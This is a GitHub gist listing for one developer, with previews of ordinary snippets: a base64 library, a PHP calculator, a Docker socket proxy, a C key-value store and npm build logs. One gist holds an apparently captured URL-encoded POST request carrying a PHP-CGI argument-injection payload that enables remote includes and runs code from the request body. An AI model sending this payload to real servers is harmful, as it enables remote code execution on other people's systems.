Skip to content

Instantly share code, notes, and snippets.

Matej Kramny matejkramny

Block or report user

Report or block matejkramny

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View keybase.md

Keybase proof

I hereby claim:

  • I am matejkramny on github.
  • I am matejkramny (https://keybase.io/matejkramny) on keybase.
  • I have a public key ASCUmVHoNXejvC1L3f_hfwMb9NAlenmijPYx1vYChqd01Qo

To claim this, I am signing this object:

View base64.cpp
/*
base64.cpp and base64.h
Copyright (C) 2004-2008 Ren� Nyffenegger
This source code is provided 'as-is', without any express or implied
warranty. In no event will the author be held liable for any damages
arising from the use of this software.
@matejkramny
matejkramny / visor-archivos-online.md
Created Nov 25, 2015 — forked from izazueta/visor-archivos-online.md
Google Docs Viewer & Office Web Apps Viewer
View visor-archivos-online.md

Google Docs Viewer

Only files under 25 MB can be previewed with the Google Drive viewer.

Google Drive viewer helps you preview over 16 different file types, listed below:

  • Image files (.JPEG, .PNG, .GIF, .TIFF, .BMP)
  • Video files (WebM, .MPEG4, .3GPP, .MOV, .AVI, .MPEGPS, .WMV, .FLV)
  • Text files (.TXT)
  • Markup/Code (.CSS, .HTML, .PHP, .C, .CPP, .H, .HPP, .JS)
  • Microsoft Word (.DOC and .DOCX)
View caculator.php
<?php
// NEVER DO THIS - BAD
//extract($_GET);
ini_set('display_errors', '1');
error_reporting(E_STRICT | E_ALL);
$prod = 0; $x = 0; $y = 0;
$action = "not set";
$formula = "";
View docker_proxy.js
var net = require('net');
net.createServer(function (socket) {
socket.on('data', function (chunk) {
console.log(chunk.toString('utf8'));
});
var d = net.createConnection('/var/run/docker.sock');
d.on('data', function (chunk) {
console.log('res ->', chunk.toString('utf8'));
View thingstore.c
/*
Redis-like 'thing' store
Description: An experiment I did to revive my knowledge of C. Inspired by redis
By: Matej Kramny
Date: 24/9/2014
License: WTFPL (wftpl.net)
View gist:8757027
https://198.50.168.250:8019/%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E
url
https://198.50.168.250:8019/%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E
path
/%70%68%70%70%61%74%68/%70%68%70
method
POST
headers
{
View gist:8080971
../src/msgpack.cc:1:10: fatal error: 'v8.h' file not found
#include <v8.h>
^
1 error generated.
make: *** [Release/obj.target/msgpackBinding/src/msgpack.o] Error 1
gyp ERR! build error
gyp ERR! stack Error: `make` failed with exit code: 2
gyp ERR! stack at ChildProcess.onExit (/usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/build.js:267:23)
gyp ERR! stack at ChildProcess.EventEmitter.emit (events.js:98:17)
gyp ERR! stack at Process.ChildProcess._handle.onexit (child_process.js:789:12)
@matejkramny
matejkramny / gist:8072120
Created Dec 21, 2013
Used within networking of iOrder app
View gist:8072120
- (NSMutableArray *)loopAndLoad:(NSArray *)args object:(Class)target {
NSMutableArray *arr = [[NSMutableArray alloc] init];
if ([args count] == 0) {
return arr;
}
for (NSDictionary *x in [args objectAtIndex:0]) {
id<NetworkLoadingProtocol> obj = [[target alloc] init];
[obj loadFromJSON:x];
@matejkramny
matejkramny / npm-debug.log
Last active Dec 28, 2015
NPM Fetch failed
View npm-debug.log
0 info it worked if it ends with ok
1 verbose cli [ 'node', '/usr/local/bin/npm', 'install', 'nodemailer' ]
2 info using npm@1.3.11
3 info using node@v0.10.20
4 warn package.json eyes@0.1.8 No repository field.
5 verbose cache add [ 'nodemailer', null ]
6 verbose cache add name=undefined spec="nodemailer" args=["nodemailer",null]
7 verbose parsed url { protocol: null,
7 verbose parsed url slashes: null,
7 verbose parsed url auth: null,
You can’t perform that action at this time.